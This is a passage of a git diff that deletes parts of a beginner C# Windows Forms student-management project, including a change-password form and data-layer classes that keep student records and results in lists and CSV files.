this.rollnumberBox = new System.Windows.Forms.TextBox(); - this.courseBox = new System.Windows.Forms.TextBox(); - this.MarksBox = new System.Windows.Forms.TextBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.tableLayoutPanel6.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 13.32561F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 86.67439F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 3; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 21.96193F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 78.03807F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 9F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1726, 683); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label3, 0, 0); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 1); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 2; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(224, 142); - this.tableLayoutPanel2.TabIndex = 0; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(17, 23); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(189, 24); - this.label3.TabIndex = 3; - this.label3.Text = "Change Password"; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(3, 71); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(51, 20); - this.label1.TabIndex = 4; - this.label1.Text = "label1"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(233, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(1490, 142); - this.tableLayoutPanel3.TabIndex = 1; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.button1, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.savebutton, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 151); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(224, 519); - this.tableLayoutPanel4.TabIndex = 2; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Red; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(68, 347); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(88, 84); - this.button1.TabIndex = 1; - this.button1.Text = "Exit"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // savebutton - // - this.savebutton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.savebutton.BackColor = System.Drawing.Color.Green; - this.savebutton.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.savebutton.Location = new System.Drawing.Point(50, 75); - this.savebutton.Name = "savebutton"; - this.savebutton.Size = new System.Drawing.Size(123, 108); - this.savebutton.TabIndex = 0; - this.savebutton.Text = "Save"; - this.savebutton.UseVisualStyleBackColor = false; - this.savebutton.Click += new System.EventHandler(this.savebutton_Click); - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.tableLayoutPanel6, 0, 0); - this.tableLayoutPanel5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel5.Location = new System.Drawing.Point(233, 151); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 1; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 84.39307F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1490, 519); - this.tableLayoutPanel5.TabIndex = 3; - // - // tableLayoutPanel6 - // - this.tableLayoutPanel6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel6.ColumnCount = 2; - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Controls.Add(this.MarksBox, 1, 5); - this.tableLayoutPanel6.Controls.Add(this.courseBox, 1, 4); - this.tableLayoutPanel6.Controls.Add(this.rollnumberBox, 1, 3); - this.tableLayoutPanel6.Controls.Add(this.passwordBox, 1, 2); - this.tableLayoutPanel6.Controls.Add(this.fatherBoxBox1, 1, 1); - this.tableLayoutPanel6.Controls.Add(this.label9, 0, 6); - this.tableLayoutPanel6.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel6.Controls.Add(this.label4, 0, 1); - this.tableLayoutPanel6.Controls.Add(this.label6, 0, 2); - this.tableLayoutPanel6.Controls.Add(this.label5, 0, 3); - this.tableLayoutPanel6.Controls.Add(this.label7, 0, 4); - this.tableLayoutPanel6.Controls.Add(this.label8, 0, 5); - this.tableLayoutPanel6.Controls.Add(this.nameBox, 1, 0); - this.tableLayoutPanel6.Location = new System.Drawing.Point(412, 7); - this.tableLayoutPanel6.Name = "tableLayoutPanel6"; - this.tableLayoutPanel6.RowCount = 7; - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 61F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 65F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 81F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 63F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 85F)); - this.tableLayoutPanel6.Size = new System.Drawing.Size(665, 505); - this.tableLayoutPanel6.TabIndex = 0; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(132, 25); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(68, 25); - this.label2.TabIndex = 0; - this.label2.Text = "Name"; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(101, 100); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(130, 25); - this.label4.TabIndex = 1; - this.label4.Text = "FatherName"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(98, 231); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(135, 25); - this.label5.TabIndex = 2; - this.label5.Text = "Roll_Number"; - this.label5.Click += new System.EventHandler(this.label5_Click); - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.Location = new System.Drawing.Point(113, 168); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(106, 25); - this.label6.TabIndex = 3; - this.label6.Text = "Password"; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.Location = new System.Drawing.Point(122, 304); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(87, 25); - this.label7.TabIndex = 4; - this.label7.Text = "COurse"; - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.Location = new System.Drawing.Point(130, 376); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(71, 25); - this.label8.TabIndex = 5; - this.label8.Text = "Marks"; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.BackColor = System.Drawing.Color.Green; - this.label9.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.Location = new System.Drawing.Point(136, 448); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(59, 29); - this.label9.TabIndex = 6; - this.label9.Text = "Edit"; - this.label9.Click += new System.EventHandler(this.label9_Click); - // - // nameBox - // - this.nameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.nameBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.nameBox.Location = new System.Drawing.Point(348, 24); - this.nameBox.Name = "nameBox"; - this.nameBox.Size = new System.Drawing.Size(300, 26); - this.nameBox.TabIndex = 7; - // - // fatherBoxBox1 - // - this.fatherBoxBox1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.fatherBoxBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fatherBoxBox1.Location = new System.Drawing.Point(348, 99); - this.fatherBoxBox1.Name = "fatherBoxBox1"; - this.fatherBoxBox1.Size = new System.Drawing.Size(300, 26); - this.fatherBoxBox1.TabIndex = 8; - // - // passwordBox - // - this.passwordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.passwordBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.passwordBox.Location = new System.Drawing.Point(348, 167); - this.passwordBox.Name = "passwordBox"; - this.passwordBox.Size = new System.Drawing.Size(300, 26); - this.passwordBox.TabIndex = 9; - // - // rollnumberBox - // - this.rollnumberBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.rollnumberBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.rollnumberBox.Location = new System.Drawing.Point(348, 230); - this.rollnumberBox.Name = "rollnumberBox"; - this.rollnumberBox.Size = new System.Drawing.Size(300, 26); - this.rollnumberBox.TabIndex = 10; - // - // courseBox - // - this.courseBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.courseBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.courseBox.Location = new System.Drawing.Point(348, 303); - this.courseBox.Name = "courseBox"; - this.courseBox.Size = new System.Drawing.Size(300, 26); - this.courseBox.TabIndex = 11; - // - // MarksBox - // - this.MarksBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.MarksBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MarksBox.Location = new System.Drawing.Point(348, 375); - this.MarksBox.Name = "MarksBox"; - this.MarksBox.Size = new System.Drawing.Size(300, 26); - this.MarksBox.TabIndex = 12; - // - // ChangePasswordForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1726, 683); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "ChangePasswordForm"; - this.Text = "ChangePasswordForm"; - this.Load += new System.EventHandler(this.ChangePasswordForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel6.ResumeLayout(false); - this.tableLayoutPanel6.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Button button1; - private System.Windows.Forms.Button savebutton; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel6; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox MarksBox; - private System.Windows.Forms.TextBox courseBox; - private System.Windows.Forms.TextBox rollnumberBox; - private System.Windows.Forms.TextBox passwordBox; - private System.Windows.Forms.TextBox fatherBoxBox1; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.TextBox nameBox; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ChangePasswordForm.cs b/Add Code Here/C#/CMS/ChangePasswordForm.cs deleted file mode 100644 index 613e9d8cf97..00000000000 --- a/Add Code Here/C#/CMS/ChangePasswordForm.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace CMS -{ - public partial class ChangePasswordForm : Form - { - private static STUDENTBL updated; - public ChangePasswordForm(STUDENTBL student) - { - InitializeComponent(); - updated = student; - } - - private void PasswordGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - - } - - - private void ChangePasswordForm_Load(object sender, EventArgs e) - { - nameBox.Text = updated.Name1; - fatherBoxBox1.Text = updated.Father_Name1; - passwordBox.Text = updated.Password1; - rollnumberBox.Text = updated.RollNumber1; - MarksBox.Text = "" + updated.Matric_Marks1; - courseBox.Text = updated.Course1; - } - - private void button2_Click(object sender, EventArgs e) - { - - } - - - private void button1_Click(object sender, EventArgs e) - { - Form1 homePage = new Form1(); - this.Close(); - homePage.Show(); - } - - private void savebutton_Click(object sender, EventArgs e) - { - - } - - private void label5_Click(object sender, EventArgs e) - { - - } - - private void label9_Click(object sender, EventArgs e) - { - STUDENTBL newStudent = new STUDENTBL(updated.Name1, updated.Father_Name1, updated.Matric_Marks1, updated.Course1, updated.RollNumber1, updated.Cnic1, updated.Section1, passwordBox.Text, updated.Bankid1); - STUDENTDL.EditUserFromList(updated, newStudent); - MessageBox.Show("Password Has Been Updated "); - this.Close(); - StudentMenu menu = new StudentMenu(); - menu.Show(); - - } - } -} diff --git a/Add Code Here/C#/CMS/ChangePasswordForm.resx b/Add Code Here/C#/CMS/ChangePasswordForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/ChangePasswordForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ClassDiagram1.cd b/Add Code Here/C#/CMS/ClassDiagram1.cd deleted file mode 100644 index 6928eb08373..00000000000 --- a/Add Code Here/C#/CMS/ClassDiagram1.cd +++ /dev/null @@ -1,45 +0,0 @@ - - - - - - AAACACABAAAAAIAAEIAAAAQACBAAAAACAAASQAAAAAI= - BL\TEACHERBL.cs - - - - - - CAAAAAAAAAAQABAoYAAAAAAAAAAAgAAAAAAAAIAAAAA= - DL\TEACHERDL.cs - - - - - - - - - AAAAAAAAAAAAAgABAAIAAQQAFAAEQBQCAEAQAgAAEAA= - BL\ResultBL.cs - - - - - - AAAAAACAAAAECAAAJAAAAAQAAgAAAAAAAAAAAAAQAAA= - DL\ResultDL.cs - - - - - - - - - AAAAAAAAAAAAAIAAAAAAAAQAAAAAAAgCAAAAAAAAAAA= - BL\ADMINBL.cs - - - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ClassDiagram1.png b/Add Code Here/C#/CMS/ClassDiagram1.png deleted file mode 100644 index c340f31332a..00000000000 Binary files a/Add Code Here/C#/CMS/ClassDiagram1.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/ClassDiagram2.cd b/Add Code Here/C#/CMS/ClassDiagram2.cd deleted file mode 100644 index e1a34478226..00000000000 --- a/Add Code Here/C#/CMS/ClassDiagram2.cd +++ /dev/null @@ -1,54 +0,0 @@ - - - - - - ACAAQAACAAAAyAAAJAAAAAAAAAAAQAAEAAQIAgAAAAg= - DL\STUDENTDL.cs - - - - - - - - - - gAAAABQAAEAQAKAAAIAAAAQAiAAAAAAiAAAAAIAABAA= - BL\STUDENTBL.cs - - - - - - AAAAAAAAAAAAAAAAAAAAAAQAAAgEAAAIAAAABAAAAAA= - BL\AttendanceClass.cs - - - - - - AAAAAAAAAAAAAAAAAAAAAIAIAAAAAAAAAAAAAAAAAAA= - DL\AttendanceDL.cs - - - - - - - - - - CAAAAAAAAAAQABAoYAAAAAAAAAAAgAAAAAAAAIAAAAA= - DL\TEACHERDL.cs - - - - - - AAACACABAAAAAIAAEIAAAAQACBAAAAACAAASQAAAAAI= - BL\TEACHERBL.cs - - - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ClassDiagram2.png b/Add Code Here/C#/CMS/ClassDiagram2.png deleted file mode 100644 index 477c6ca8e3d..00000000000 Binary files a/Add Code Here/C#/CMS/ClassDiagram2.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/ClassDiagram3.cd b/Add Code Here/C#/CMS/ClassDiagram3.cd deleted file mode 100644 index 670c2a69f67..00000000000 --- a/Add Code Here/C#/CMS/ClassDiagram3.cd +++ /dev/null @@ -1,67 +0,0 @@ - - - - - - AAAAAAAAAAAAAIAAAAAAAAQAAAAAAAgCAAAAAAAAAAA= - BL\ADMINBL.cs - - - - - - AAAAAAAAAAAAAAAAAAAAAAQAAAgEAAAIAAAABAAAAAA= - BL\AttendanceClass.cs - - - - - - AAAAAAAAAAAAAgABAAIAAQQAFAAEQBQCAEAQAgAAEAA= - BL\ResultBL.cs - - - - - - gAAAABQAAEAQAKAAAIAAAAQAiAAAAAAiAAAAAIAABAA= - BL\STUDENTBL.cs - - - - - - AAACACABAAAAAIAAEIAAAAQACBAAAAACAAASQAAAAAI= - BL\TEACHERBL.cs - - - - - - AAAAAAAAAAAAAAAAAAAAAIAIAAAAAAAAAAAAAAAAAAA= - DL\AttendanceDL.cs - - - - - - AAAAAACAAAAECAAAJAAAAAQAAgAAAAAAAAAAAAAQAAA= - DL\ResultDL.cs - - - - - - ACAAQAACAAAAyAAAJAAAAAAAAAAAQAAEAAQIAgAAAAg= - DL\STUDENTDL.cs - - - - - - CAAAAAAAAAAQABAoYAAAAAAAAAAAgAAAAAAAAIAAAAA= - DL\TEACHERDL.cs - - - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ClassDiagram3.png b/Add Code Here/C#/CMS/ClassDiagram3.png deleted file mode 100644 index 911a5110f84..00000000000 Binary files a/Add Code Here/C#/CMS/ClassDiagram3.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/DL/AttendanceDL.cs b/Add Code Here/C#/CMS/DL/AttendanceDL.cs deleted file mode 100644 index c3ce5935e88..00000000000 --- a/Add Code Here/C#/CMS/DL/AttendanceDL.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using CMS.BL; - -namespace CMS.DL -{ - class AttendanceDL - { - private static List AttendanceData = new List(); - - internal static List AttendanceData1 { get => AttendanceData; set => AttendanceData = value; } - - public static void addAttendanceIntoList(AttendanceClass Temp) - { - AttendanceData1.Add(Temp); - } - - } -} diff --git a/Add Code Here/C#/CMS/DL/ResultDL.cs b/Add Code Here/C#/CMS/DL/ResultDL.cs deleted file mode 100644 index 2880b96cb76..00000000000 --- a/Add Code Here/C#/CMS/DL/ResultDL.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using CMS.BL; - -namespace CMS.DL -{ - class ResultDL - { - private static List result = new List(); - - internal static List Result { get => result; set => result = value; } - - public static ResultBL checkResult(STUDENTBL student) - { - foreach(ResultBL temp in Result) - { - if(temp.Name == student.Name1 && temp.Password == student.Password1) - { - return temp; - } - } - return null; - } - public static void changePassword(STUDENTBL updated) - { - foreach (ResultBL user in Result) - { - if (user.Name == updated.Name1 && user.Password == updated.Password1) - { - user.Name = updated.Name1; - user.Password = updated.Password1; - user.Urdu = user.Urdu; - user.Math = user.Math; - user.English = user.English; - user.Computer = user.Computer; - user.Password = user.Password; - } - } - - } - public static bool isvalid(STUDENTBL student) - { - foreach (ResultBL temp in Result) - { - if (temp.Name == student.Name1 && temp.Password == student.Password1) - { - return true; - } - } - return false; - } - public static void addResultIntoList(ResultBL Temp) - { - Result.Add(Temp); - } - public static void addResultIntoFile(ResultBL Temp,string path) - { - StreamWriter file = new StreamWriter(path, true); - file.WriteLine(Temp.Name + "," + Temp.Urdu + "," + Temp.Math + "," + Temp.English + "," + Temp.Computer + "," + Temp.Physics+","+Temp.Password); - file.Flush(); - file.Close(); - } - public static void readDataFromFile(string Path) - { - StreamReader SFile = new StreamReader(Path); - string Record; - if (File.Exists(Path)) - { - while ((Record = SFile.ReadLine()) != null) - { - string[] SplitRecord = Record.Split(','); - string Name = SplitRecord[0]; - float urdu = float.Parse(SplitRecord[1]); - float math = float.Parse(SplitRecord[2]); - float english = float.Parse(SplitRecord[3]); - float computer = float.Parse(SplitRecord[4]); - float physics = float.Parse(SplitRecord[5]); - string password = SplitRecord[6]; - ResultBL Temp = new ResultBL(Name, urdu, math, english, computer, physics,password); - addResultIntoList(Temp); - } - SFile.Close(); - } - } - } -} diff --git a/Add Code Here/C#/CMS/DL/STUDENTDL.cs b/Add Code Here/C#/CMS/DL/STUDENTDL.cs deleted file mode 100644 index 6821260e654..00000000000 --- a/Add Code Here/C#/CMS/DL/STUDENTDL.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using CMS.BL; - -namespace CMS.DL -{ - class STUDENTDL - { - public static int count = 0; - private static List StudentList = new List(); - - public static List StudentList1 { get => StudentList; set => StudentList = value; } - - public static void addStudentIntoList(STUDENTBL Temp) - { - StudentList1.Add(Temp); - } - - public static bool containsPassword(string password) - { - foreach(STUDENTBL temp in StudentList1) - { - if(temp.Password1 == password) - { - return true; - } - } - return false; - } - public static bool containscnic(string cnic) - { - foreach (STUDENTBL temp in StudentList1) - { - if (temp.Cnic1 == cnic) - { - return true; - } - } - return false; - } - public static bool containsbankid(string bankid) - { - foreach (STUDENTBL temp in StudentList1) - { - if (temp.Bankid1 == bankid) - { - return true; - } - } - return false; - } - public static bool containsrollNumber(string rollnumber) - { - foreach (STUDENTBL temp in StudentList1) - { - if (temp.RollNumber1 == rollnumber) - { - return true; - } - } - return false; - } - - public static void EditUserFromList(STUDENTBL previous,STUDENTBL updated) - { - foreach (STUDENTBL user in StudentList1) - { - if (user.Name1 == previous.Name1 && user.Password1 == previous.Password1) - { - user.Name1 = updated.Name1; - user.Password1 = updated.Password1; - user.Matric_Marks1 = updated.Matric_Marks1; - user.RollNumber1 = updated.RollNumber1; - user.Section1 = updated.Section1; - user.Course1 = updated.Course1; - user.Cnic1 = updated.Cnic1; - user.Bankid1 = updated.Bankid1; - user.Father_Name1 = updated.Father_Name1; - } - } - } - - public static void storeUserIntoFile(STUDENTBL User, string path) - { - StreamWriter file = new StreamWriter(path, true); - file.WriteLine(User.Name1 + "," + User.Father_Name1 + "," + User.Course1 + "," + User.RollNumber1 + "," + User.Password1 + "," + User.Matric_Marks1 + "," + User.Cnic1 + "," + User.Bankid1 + "," + User.Section1); - file.Flush(); - file.Close(); - } - - public static STUDENTBL isStudentValid(string name,string password) - { - foreach(STUDENTBL Student in StudentList1) - { - if(name == Student.Name1 && 